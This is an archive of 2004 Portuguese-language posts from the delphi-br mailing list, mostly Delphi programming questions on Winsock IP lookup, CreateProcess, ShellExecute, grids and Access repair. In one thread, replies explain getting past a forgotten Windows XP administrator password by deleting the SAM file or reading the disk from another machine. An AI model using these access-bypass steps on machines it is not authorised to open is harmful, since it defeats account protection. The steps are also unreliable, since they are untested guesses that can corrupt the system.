[delphi-br] IP da conexão Internet

2004-09-29 Por tôpico Eduardo Galvão
Olá, Pessoal,

Para determinar o IP da máquina, estou usando
a função abaixo. Ok, funciona.

Só que, em computadores que possuem também
rede local, esta função retorna o IP da rede, só que
eu quero o IP da conexão Internet.

O que devo fazer?

A função é:

function GetIP:string;
var
WSAData: TWSAData;
HostEnt: PHostEnt;
Name:string;
begin
WSAStartup(2, WSAData);
SetLength(Name, 255);
Gethostname(PChar(Name), 255);
SetLength(Name, StrLen(PChar(Name)));
HostEnt := gethostbyname(PChar(Name));
with HostEnt^ do
begin
Result := Format('%d.%d.%d.%d',
[Byte(h_addr^[0]),Byte(h_addr^[1]),
Byte(h_addr^[2]),Byte(h_addr^[3])]);
end;
WSACleanup;
end;
begin
  var_str:=trim(getip);
  if var_str='' then showmessage('Não foi possível determinar o IP desta máquina')
else showmessage('O IP desta máquina é '+var_str);
end;

Saudações,
Eduardo Paci Galvão
Engenheiro UFMG 1990
Belo Horizonte - Brasil
www.egalvao.com.br


[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] OF-TOPIC: Qual o endereco dessa lista de InterBase

2004-09-29 Por tôpico Paulo Sérgio Dias

Pessoal:

Ha' algum tempo, eu participava de uma lista de discussao
sobre IB e Firebird, que era mantida pelo Carlos Cantu.
Perdi o endereco dessa lista, e gostaria de saber se alguem
pode me enviar.

Muito obrigado
Paulo


[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 





[delphi-br] OF-TOPIC: Acessar o IB atraves de Terminal Service

2004-09-29 Por tôpico Paulo Sérgio Dias
Pessoal:

Um colega necessita acessar, a partir de uma estacao
em uma cidade, o IB que esta' em outra cidade.
Ele esta' usando uma maquina XP com o client do Windows
Terminal Services.

Ele se logou na maquina da outra cidade, onde tem direitos
de administrador, e executou o IBConsole.  Ao tentar
registrar o servidor tal como se ele estivesse lá  na outra cidade,
ele nao conseguiu registrar o servidor como servidor local.
Somente fazendo o registro como servidor remoto  e' que
o IBConsole se logou no IB da maquina servidora (a maquina
onde o IB esta' rodando e' a mesma maquina onde o servidor
Terminal Service esta' rodando tambem.

Pergunta:

Isso e' normal ?   Eu pensava que, ao se logar na maquina da outra
cidade atraves do Terminal Service, tudo se passaria como se esse
meu colega estivesse operando o proprio teclado da maquina
do Terminal Service (onde o IB tambem esta' rodando).  Logo,
ele deveria ter registrado o servidor como local, dentro do
IBConsole.

Agradeco antecipadamente a quem possa comentar sobre isso
Paulo

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] OF-TOPIC: Qual o endereco dessa lista de InterBase

2004-09-29 Por tôpico Vicente
entaum cara, a lista mudou do yahoo para o grupos.com.br e agora, faz pouco tempo, 
tipo uma semana, o cantu mudou a lista para um servidor próprio! ta muito bom agora.
para vc participar vc precisa entrar no site www.firebase.com.br procure por lista de 
discussão e pronto.

espero ter ajudar
[]'s

Vicente
Desenvolvedor

  - Original Message - 
  From: Paulo Sérgio Dias 
  To: [EMAIL PROTECTED] 
  Sent: Wednesday, September 29, 2004 7:11 AM
  Subject: [delphi-br] OF-TOPIC: Qual o endereco dessa lista de InterBase


  Pessoal:

  Ha' algum tempo, eu participava de uma lista de discussao
  sobre IB e Firebird, que era mantida pelo Carlos Cantu.
  Perdi o endereco dessa lista, e gostaria de saber se alguem
  pode me enviar.

  Muito obrigado
  Paulo


  [As partes desta mensagem que não continham texto foram removidas]



  -- 
   FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

  Para ver as mensagens antigas, acesse:
  http://br.groups.yahoo.com/group/delphi-br/messages

  Para falar com o moderador, envie um e-mail para:
  [EMAIL PROTECTED] ou [EMAIL PROTECTED]



Yahoo! Grupos, um serviço oferecido por: 
  


--
  Links do Yahoo! Grupos

a.. Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
  
b.. Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
  
c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do 
Yahoo!. 



[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] OFF Windows XP

2004-09-29 Por tôpico Adriano Montagna

Pega o HD, coloca como slave em outra maquina com XP, entra como adm desta
maquina, acessa o hd do BIOS ( Bicho Ignorante Operando Sistema) e copia oa
que precisa, na sequencia DETONA o hd do cara e instala tudo novamente, e
diz pra ele esquecer as senhas novamente.



- Original Message -
From: Hudson [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Wednesday, September 29, 2004 12:18 AM
Subject: [delphi-br] OFF Windows XP


Ola!
Estou fazendo uma manuteção, so q o burro do cliente esqueceu a senha de
adiministrador e as demais senhaentão tento entrar pelo modo de
seguraça, mas tambem tem uma senha, diz ele q colocou a senha para barra
curiosos, mas esqueceu, pensei formatar, mas não posso pois ele tem arquivo
q não pode perder sem fazer uma copia..o q devo fazer

grato

[As partes desta mensagem que não continham texto foram removidas]



--
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]

Links do Yahoo! Grupos










-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 





[delphi-br] CreateProcess

2004-09-29 Por tôpico jrjuniore
Por favor,
 
alguém sabe me dizer como funciona a rotina do CreateProcess ???
 
Josué F. Coelho Jr.
TECHMAIL - Desenvolvimento de Sistemas
* (11) 3749-1133 ramal 110
* [EMAIL PROTECTED]
 


[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] posicao no dbgrid

2004-09-29 Por tôpico Rogerio
Pessoal,

Gostaria de saber se de alguma forma posso saber em qual posicao de um grid ou dbgrid 
esta a minha informacao... 

Ex. informacao em [LinhaXColuna]




[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] ModelMaker ou outro editor de UML

2004-09-29 Por tôpico Vicente
pessoal, to comecando a usar uml, na verdade ainda naum sei nada a respeito, vcs 
poderiam me indicar alguem prg para modelagem, ou se tiverem alguma apostila, artigo 
qq coisaheheheh

valeu

Vicente
Desenvolvedor

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] Como detectar se TCP/IP está instalado?

2004-09-29 Por tôpico Eduardo Jedliczka
Daniel,
Entre em  contato PVT...

=
Eduardo Jedliczka
GeraSoft Informática
Apucarana - PR
=
  - Original Message - 
  From: Daniel / Tecnobyte 
  To: [EMAIL PROTECTED] 
  Sent: Tuesday, September 28, 2004 11:13 PM
  Subject: [delphi-br] Como detectar se TCP/IP está instalado?


  Estou montando um instalador para um programa, mas tal programa só vai
  funcionar se o protocolo TCP/IP estiver instalado na máquina. Procurando
  pelo google descobri que se o protocolo estiver instalado no Win9x e WinME,
  vai haver no Registro do Windows a chave abaixo:

  HKEY_LOCAL_MACHINE\Enum\Network\MSTCP

  No Windows NT, 2000 e XP a chave seria esta:

  HKEY_LOCAL_MACHINE\Software\Microsoft\tcpip\CurrentVersion

  A dica diz que se o TCP/IP não estiver instalado não vai existir esta chave.
  Será que é seguro testar desta forma? Ou seja, existe a possibilidade do
  protocolo TCP/IP estar instalado mesmo sem existir esta chave no Registro do
  Windows?

  Atenciosamente.

  Daniel P. Guimarães
  Tecnobyte informática
  www.tecnobyte.com.br




  -- 
   FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

  Para ver as mensagens antigas, acesse:
  http://br.groups.yahoo.com/group/delphi-br/messages

  Para falar com o moderador, envie um e-mail para:
  [EMAIL PROTECTED] ou [EMAIL PROTECTED]



Yahoo! Grupos, um serviço oferecido por: 
  


--
  Links do Yahoo! Grupos

a.. Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
  
b.. Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
  
c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do 
Yahoo!. 



[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] OFF Windows XP

2004-09-29 Por tôpico [EMAIL PROTECTED]
Faz o seguinte: se a partição for FAT32 dá o boot nele com um diskete do 98, 
ou coloca o HD dele em outra máquina, aí entra na pasta 
C:\WINDOWS\system32\config
faz um backup do arquivo SAM e depois apaga ele e reinicia a máquina, a 
senha do administrador será apagada, fiz isso no W2KPRO e fungo, tentae!

Obs: só não sei quanto aos outros usuários cadastrados o que acontece com 
essa operação.

falows
- Original Message - 
From: Hudson [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Wednesday, September 29, 2004 12:18 AM
Subject: [delphi-br] OFF Windows XP


Ola!
Estou fazendo uma manuteção, so q o burro do cliente esqueceu a senha de 
adiministrador e as demais senhaentão tento entrar pelo modo de 
seguraça, mas tambem tem uma senha, diz ele q colocou a senha para barra 
curiosos, mas esqueceu, pensei formatar, mas não posso pois ele tem arquivo 
q não pode perder sem fazer uma copia..o q devo fazer

grato

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]

Links do Yahoo! Grupos








-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] CreateProcess

2004-09-29 Por tôpico FS Under
Josué,

 Ele cria uma chamada ao processo específico na
tabela de processos no sistema operacional, não está
ligado a aplicação, podendo vc terminar a aplicação
que o processo permance ativo.

Ex:

var
  StartupInfo : TStartupInfo;
  ProcessInfo : TProcessInformation;
begin
  FillChar(StartupInfo,Sizeof(TStartupInfo),0);
  with StartupInfo do
  begin
cb := Sizeof(TStartupInfo);
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow := SW_SHOWNORMAL;
  end;

 
CreateProcess(PChar('c:\winnt\system32\notepad.exe'),nil,nil,nil,False,
   
REALTIME_PRIORITY_CLASS,nil,nil,StartupInfo,ProcessInfo);
  Application.ProcessMessages;
  Application.Terminate;

 O notepad vai continuar sendo executado mesmo que
a sua aplicação feche.

 O createprocess, como cria uma entrada no SO,
cria então uma thread no SO, o flag
REALTIME_PRIORITY_CLASS diz que este será de máxima
prioridade, mas tem mais outros 3 flags, na
Windows.pas.
 Para saber mais como funciona a tabela de
processos e o fork de processos de um SO, tem um livro
do Andrew S. Tanenbaum - Sistemas Operacionais
Modernos, que é muito bom.

[]'s
Fabiano Freitas

 --- jrjuniore [EMAIL PROTECTED] escreveu: 

-
Por favor,
 
alguém sabe me dizer como funciona a rotina do
CreateProcess ???
 
Josué F. Coelho Jr.
TECHMAIL - Desenvolvimento de Sistemas
* (11) 3749-1133 ramal 110
* [EMAIL PROTECTED]
 


[As partes desta mensagem que não continham texto
foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA
MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou
[EMAIL PROTECTED]



Yahoo! Grupos, um serviço oferecido por: 

-
Links do Yahoo! Grupos

   Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
 
   Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
 
   O uso que você faz do Yahoo! Grupos está sujeito
aos Termos do Serviço do Yahoo!.
 





___ 
Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora! 
http://br.acesso.yahoo.com/


-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] erro dificil de entender

2004-09-29 Por tôpico Cícerot

Galera , peguei um sistema que jah nao manuseava ha muito tempo. Preciso
fazeer umas alterações.
O problema eh que o me diz que tcombobox nao existe. Tirei 2 combos que
tenho na aplicação e ele passou. Agora me diz que não tenho timage. Parei
por aqui porque acho que ele chegarah até tedid, tmemo e vou limpar tudo.
Allguem tem alguma ideia. Já abri um sistema diferente desse e não deu os
erros acima.
Gratissimo
[EMAIL PROTECTED]
---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.698 / Virus Database: 455 - Release Date: 02/06/2004



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 





[delphi-br] Estrutura de tabelas

2004-09-29 Por tôpico clayton
Pessoal,

Como eu consigo descobrir quais os indices e chave primaria de uma tabela do 
ms-access, atraves de um programa delphi?

obrigado

Clayton Bonelli
Anitec Tecnologia e Sistemas Ltda



[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] trabalhar com word

2004-09-29 Por tôpico Debora
 Só refazendo a pergunta, tentei usar shellexecute() mas dá um erro de string . o 
que estou fazendo de errado?
  - Original Message - 
  From: Debora 
  To: [EMAIL PROTECTED] 
  Sent: Tuesday, September 28, 2004 10:45 AM
  Subject: Re: [delphi-br] trabalhar com word


  bom, pra usar o shellexecute sou obrigada a declarar em uses a shellapi , mas qual é 
a sintaxe do comando shellexecute?No caso do winexec seria assim
  WinExec(Pchar(datamodule1.TabelaCaminho.AsString),SW_Normal;- Original Message 
- 
From: Ricardo 
To: [EMAIL PROTECTED] 
Sent: Tuesday, September 28, 2004 10:01 AM
Subject: Re: [delphi-br] trabalhar com word


Winexec so funciona 100% em win98 aposente este comando de seus programas
use shellexecute
.
- Original Message - 
From: Programação - Terra [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Tuesday, September 28, 2004 8:21 AM
Subject: Re: [delphi-br] trabalhar com word


Debora, se você estiver em uma plataforma NT, acho que o ShellExecute
funcionará melhor!!!
  - Original Message - 
  From: Debora
  To: [EMAIL PROTECTED]
  Sent: Monday, September 27, 2004 12:34 PM
  Subject: Re: [delphi-br] trabalhar com word


  a primeira parte de gravar os caminhos funcionou direitinho mas quando
chamo o evento para usar winexec não acontece nada. e o ponteiro está
apontado para a tabela. Vê se eu fiz certo. Usei um cmponente bitbtn e
coloquei no evento onclick o comando winexec. O que estou fazendo de
errado. Eu estava errada apenas porque não estava usando opendialog e sim
savedialog.
  Obrigada,

  débora
  [EMAIL PROTECTED]
- Original Message - 
From: Debora
To: Cartorio
Sent: Monday, September 27, 2004 7:18 AM
Subject: Fw: [delphi-br] trabalhar com word



- Original Message - 
From: Sávio Cler
To: [EMAIL PROTECTED]
Sent: Sunday, September 26, 2004 4:22 PM
Subject: Re: [delphi-br] trabalhar com word


Sim

begin
  WinExec(Pchar(TabelaCaminho.AsString),SW_Normal). ouusar ShellAPI tb.
end;

  Sávio Cler
  ICQ 142428832
  www.sgm.rg3.net
  [EMAIL PROTECTED]
  Sto A. de Pádua - Rio de Janeiro
  Contato Pessoal:   (22)9812-0656

  ~ ~
( @ @ )
  ---o0Oo-(_)-oO0o---
  Precisando de dicas?
 www.deephi.hpg.com.br
  ---
Mais de 3 downloads
  -ooO---Ooo-
- Original Message -
From: Debora [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Sunday, September 26, 2004 3:47 PM
Subject: Re: [delphi-br] trabalhar com word


entendi, mas e se depois eu necessitar abrir o arquivo. como poderia
abrir o
arquivo tipo um botão ?
obrigada
Débora da Silva Costa
[EMAIL PROTECTED]
  - Original Message -
  From: Sávio Cler
  To: [EMAIL PROTECTED]
  Sent: Sunday, September 26, 2004 11:30 AM
  Subject: Re: [delphi-br] trabalhar com word


  Caminho é uma campo CHAR ou VARCHAR, só passar a string.

  TabelaCaminho.AsString:='c:\dados\001.doc';

  Ou menlhor

  if OpenDialog1.Exsecute then
TabelaCaminho.AsString:=OpenDialog1.FileName;

Sávio Cler
ICQ 142428832
www.sgm.rg3.net
[EMAIL PROTECTED]
Sto A. de Pádua - Rio de Janeiro
Contato Pessoal:   (22)9812-0656

~ ~
  ( @ @ )
---o0Oo-(_)-oO0o---
Precisando de dicas?
   www.deephi.hpg.com.br
---
  Mais de 3 downloads
-ooO---Ooo-
  - Original Message -
  From: Debora [EMAIL PROTECTED]
  To: [EMAIL PROTECTED]
  Sent: Sunday, September 26, 2004 9:38 AM
  Subject: [delphi-br] trabalhar com word


  gente , alguém teria um exemplo de como fazer pra gravar o caminho de
um
  arquivo na tabela. ex:
  cod  001
  especie  procuração
  caminho   c:\dados\001.doc
  img  c:\d\dos\img\img.jpg

  como eu posso fazer isso?  uso delphi 5, interbase 6 , e não uso
tables,
uso
  o ibdataset.
  Obrigada
  Débora
  [EMAIL PROTECTED]

  [As partes desta mensagem que não continham texto foram removidas]



  --
   FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

  Para ver as mensagens antigas, acesse:
  http://br.groups.yahoo.com/group/delphi-br/messages

  Para falar com o moderador, envie um e-mail para:
  [EMAIL 

Re: [delphi-br] Access

2004-09-29 Por tôpico Edivaldo David

Já tentei, não resolveu.
Existe algum utilitário para recuperar banco de dados Access?

Florentino - Agrosoft [EMAIL PROTECTED] wrote:
Tente, no access recuperar e compactar o banco de dados.

- Original Message - 
From: Edivaldo David 
To: delphi-br 
Sent: Tuesday, September 28, 2004 4:34 PM
Subject: [delphi-br] Access


Olá Galera!

A minha aplicação é delphi + access, durante uma operação meu computador
reiniciou e, vocês já sabem...

O banco de dados não abre mais. O que eu faço?

__
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]

Links do Yahoo! Grupos









-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]

Links do Yahoo! Grupos








-
Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora!

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 





Re: [delphi-br] Access

2004-09-29 Por tôpico Fabiano Catrinck
vc ta usando access 2000 ou 97?
- Original Message - 
From: Edivaldo David [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Wednesday, September 29, 2004 9:54 AM
Subject: Re: [delphi-br] Access



Já tentei, não resolveu.
Existe algum utilitário para recuperar banco de dados Access?

Florentino - Agrosoft [EMAIL PROTECTED] wrote:
Tente, no access recuperar e compactar o banco de dados.

- Original Message - 
From: Edivaldo David
To: delphi-br
Sent: Tuesday, September 28, 2004 4:34 PM
Subject: [delphi-br] Access

Olá Galera!

A minha aplicação é delphi + access, durante uma operação meu computador
reiniciou e, vocês já sabem...

O banco de dados não abre mais. O que eu faço?

__
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com

[As partes desta mensagem que não continham texto foram removidas]

-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]

Links do Yahoo! Grupos

-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]

Links do Yahoo! Grupos


-
Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora!

[As partes desta mensagem que não continham texto foram removidas]

-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]

Links do Yahoo! Grupos






**
Scanned by  eScan  Anti-Virus  and  Content Security Software.
Visit http://www.mwti.net for more info on eScan and MailScan.
**



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



RES: [delphi-br] CreateProcess

2004-09-29 Por tôpico jrjuniore
Blz, mas será que tem como eu deixar a minha aplicação criada, como
showModal, em relação a aplicação que criou o processo ?? 


Júnior Coelho.
Desenvolvimento de Sistemas
* (11) 3266 - 1286
* (11) 7175 - 1885
* [EMAIL PROTECTED]

-Mensagem original-
De: FS Under [mailto:[EMAIL PROTECTED] 
Enviada em: quarta-feira, 29 de setembro de 2004 09:06
Para: [EMAIL PROTECTED]
Assunto: Re: [delphi-br] CreateProcess

Josué,

 Ele cria uma chamada ao processo específico na tabela de processos no
sistema operacional, não está ligado a aplicação, podendo vc terminar a
aplicação que o processo permance ativo.

Ex:

var
  StartupInfo : TStartupInfo;
  ProcessInfo : TProcessInformation;
begin
  FillChar(StartupInfo,Sizeof(TStartupInfo),0);
  with StartupInfo do
  begin
cb := Sizeof(TStartupInfo);
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow := SW_SHOWNORMAL;
  end;

 
CreateProcess(PChar('c:\winnt\system32\notepad.exe'),nil,nil,nil,False,
   
REALTIME_PRIORITY_CLASS,nil,nil,StartupInfo,ProcessInfo);
  Application.ProcessMessages;
  Application.Terminate;

 O notepad vai continuar sendo executado mesmo que a sua aplicação
feche.

 O createprocess, como cria uma entrada no SO, cria então uma thread no
SO, o flag REALTIME_PRIORITY_CLASS diz que este será de máxima prioridade,
mas tem mais outros 3 flags, na Windows.pas.
